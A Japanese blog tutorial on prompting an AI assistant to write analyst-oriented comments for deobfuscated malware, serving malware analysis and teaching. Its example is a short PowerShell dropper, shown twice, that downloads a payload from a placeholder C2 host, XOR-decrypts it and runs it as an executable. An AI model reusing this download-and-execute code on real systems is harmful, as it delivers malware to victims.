[実践]「このコード、誰かコメントつけて!」😫 AIアシスタントに詳細なコメントを自動生成させる✍️

こんにちは、効率的な分析を追求するセキュリティ研究員の皆様! 🕵️‍♀️

前回まで、私たちはあらゆる苦労を重ねて難読化されたスクリプトをチャンキングし、ゴミコードをクリーンアップし、絡まった糸を解きほぐして(Deobfuscation)、ついに「読みやすい平文コード」を作成しました。🎉

本当にお疲れ様でした!しかし…いざコードをぼんやり眺めていると、また別のため息が出ます。

「はぁ…これ、いつ全部読めばいいんだ?後でまた見るときに思い出せるかな?」

コードが平文になったからといって、すぐに理解できるわけではありません。特に他人が書いた、しかも悪意のある意図を持ったコードは、変数名だけでは全体的な文脈を把握するのが難しいものです。だからこそ、私たちには「コメント」が切実に必要なのです。

しかし、分析内容を一行一行コメントとして追加するのは、本当に退屈で時間のかかる作業です。この面倒な作業を誰に任せるのが良いでしょうか?はい、まさに私たちの疲れ知らずのAIアシスタントです!🤖

本日は、AIを活用して解読されたスクリプトに専門家レベルの詳細なコメントを自動で追加する実践を行います。この技術を習得すれば、皆様の分析速度と可読性は飛躍的に向上するでしょう!🚀


1. なぜAIにコメントを任せるべきなのでしょうか? 🤔

私たちがコメントを追加する理由は、コードが「何(What)」をするかではなく、「なぜ(Why)」そのように動作するのかを記録するためです。

  • ❌ 悪いコメント(文法説明):
  • i++; // iを1増加させる。(これはC言語の基礎本ですね。アナリストが見るコメントではありません。)
  • ✅ 良いコメント(意図説明):
  • i++; // 次のバイトの復号化のためにインデックスを移動する。(おお!これこそが私たちが求める情報です。)

私たちはプロンプトエンジニアリングを通じて、AIに単純な文法翻訳ではなく、アナリストの視点から「意図」を説明する高品質なコメントを追加するように指示することができます。


2. 核となる戦略:プロンプトデザイン (The Art of Prompting) 🎨

AIに勝手にコメントを付けさせてはいけません。明確な指示(Guideline)を与える必要があります。

[成功するコメント生成のための3つの原則]

  1. ペルソナ(Persona)の付与:単なるAIではなく、「シニアマルウェアアナリスト」という役割を与えます。
  2. 「Why」に集中:コードの機能よりも、そのコードが存在する目的とセキュリティ上の意味を説明するように指示します。
  3. 脅威の表示:疑わしいまたは危険な行為(ファイル作成、レジストリアクセス、ネットワーク接続など)は、絵文字(🚨, ⚠️)を使用して目立つように表示するよう要求します。

3. [実践] 難読化解除されたPowerShellスクリプトにコメントを追加する 🛠️

さあ、ここに前回私たちが苦労して復元したPowerShellコードの断片があります。きれいになりましたが、まだ一目で理解できるわけではありません。

📄 [入力] 解読された平文コード (Clean Code)

PowerShell

# 難読化が解除された状態のコード
$url_c2 = "http://malicious-server.xyz/payload.enc";
$save_path = "$env:TEMPupdate.tmp";
$wc = New-Object Net.WebClient;
$wc.DownloadFile($url_c2, $save_path);
$encrypted_bytes = [IO.File]::ReadAllBytes($save_path);
$key_byte = 0x41;
for($i=0; $i -lt $encrypted_bytes.Count; $i++) {
    $encrypted_bytes[$i] = $encrypted_bytes[$i] -bxor $key_byte;
}
[IO.File]::WriteAllBytes("$env:TEMPrun_me.exe", $encrypted_bytes);
Start-Process "$env:TEMPrun_me.exe";

それでは、AI(ChatGPTなど)にこのコードを渡し、素晴らしいコメントを追加してもらいましょう。

🗣️ [プロンプト] AIに命令する(テンプレート)

[役割] あなたはサイバーセキュリティ分野で10年以上の経験を持つシニアマルウェアアナリストです。

>

[タスク] 以下に提供されるPowerShellスクリプトの各行について、詳細なインラインコメント(Inline Comment, #)を作成してください。

>

[詳細な指示]

>

1. 目的中心:コードが「何」をするかよりも、「なぜ」このコードが必要なのか、攻撃者の意図が何なのかを説明してください。

2. セキュリティの観点:単純な文法説明は避け、セキュリティアナリストが知るべき核心情報(IoC、TTPsなど)をコメントに含めてください。

3. 視覚的強調:危険な行為(ファイルダウンロード、実行、暗号化解除など)が含まれる行のコメントには、必ず警告絵文字(🚨, 💣, ⚠️)を含めて目立つようにしてください。

4. 言語:コメントは韓国語で作成してください。

>

[スクリプト]

>

(上記の[入力]コードをここに貼り付け)


4. [結果] AIが作成した名品コメントを確認 ✨

AIが命令を実行すると、以下のように私たちが望んでいた「アナリスト用コメント」が付加されたコードが誕生します。

PowerShell

# =================================================================
# AIマルウェア分析結果の要約
# このスクリプトはドロッパー(Dropper)機能を実行します。
# C2サーバーから暗号化されたファイルをダウンロードし、XORで復号化した後、実行します。
# =================================================================

$url_c2 = "http://malicious-server.xyz/payload.enc"; # 🚨 [ネットワークIoC] 攻撃者のC2サーバーアドレスおよび追加ペイロードパスの定義
$save_path = "$env:TEMPupdate.tmp"; # 一時フォルダにダウンロードするファイルパスを設定 (検出回避のため一時フォルダを使用)

$wc = New-Object Net.WebClient; # Web通信のための.NET WebClientオブジェクトを作成
$wc.DownloadFile($url_c2, $save_path); # ⚠️ [行為] C2サーバーからファイルダウンロードを実行。(ディスクにファイルが生成される)

$encrypted_bytes = [IO.File]::ReadAllBytes($save_path); # ダウンロードしたファイルをバイト配列としてメモリにロード
$key_byte = 0x41; # [復号化キー] 単一バイトXORキー(0x41, 'A')を定義。ハードコードされたキーを使用。

# 🔄 復号化ループ開始
for($i=0; $i -lt $encrypted_bytes.Count; $i++) {
    # 💣 [復号化] 各バイトをキー値とXOR演算してペイロード復号化を実行
    $encrypted_bytes[$i] = $encrypted_bytes[$i] -bxor $key_byte;
}

[IO.File]::WriteAllBytes("$env:TEMPrun_me.exe", $encrypted_bytes); # ⚠️ [ファイル生成] 復号化されたデータを実行ファイル(.exe)としてディスクに保存

Start-Process "$env:TEMPrun_me.exe"; # 🚨 [実行] 最終ペイロードを実行。感染が開始される時点。

🔍 何が変わったのでしょうか?

  1. IoCの識別:$url_c2の横に、これが侵害指標(IoC)であることをコメントで明記しました。
  2. 危険行為の強調:ダウンロード(⚠️)、復号化(💣)、実行(🚨)のような核心的な行為に絵文字が付加され、視線が集中します。
  3. 意図の把握:単に「XORする」ではなく、「ハードコードされたキーを使用してペイロードを復号化する」という分析的な内容が含まれています。

これで、このコードを同僚に見せたり、後で再び開いたりしても、3秒でどのような悪意のある行為をするのか把握できるでしょう? 👍


5. 役立つヒント:「コメントが多すぎる/少なすぎる!」🍯

AIの出力結果が気に入らない場合は、プロンプトを少し修正するだけで済みます。

  • コメントが冗長すぎる場合:
  • プロンプトに追加:「コメントはコード1行あたり50文字以内で簡潔に記述してください。」または「核心的な悪意のある行為の行にのみコメントを付けてください。」
  • コメントが不十分な場合:
  • プロンプトに追加:「初級アナリストに説明するつもりで、できるだけ詳細かつ親切に説明してください。」

🎉 終わりに

本日、私たちはAIを活用して「死んだコード」「アナリストの洞察力」を吹き込む作業を行いました。

コメントを追加することは面倒な作業ではなく、自分の分析結果を記録し共有するための最も重要なプロセスです。これからは面倒なタイピング作業はAIに任せ、皆様はより創造的で深い分析に集中してください!

次回は、このように整理されたコードとコメントを基に、最終的に「マルウェア分析レポート」を自動生成する究極の実践を行います。ご期待ください! 👋



Comments

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です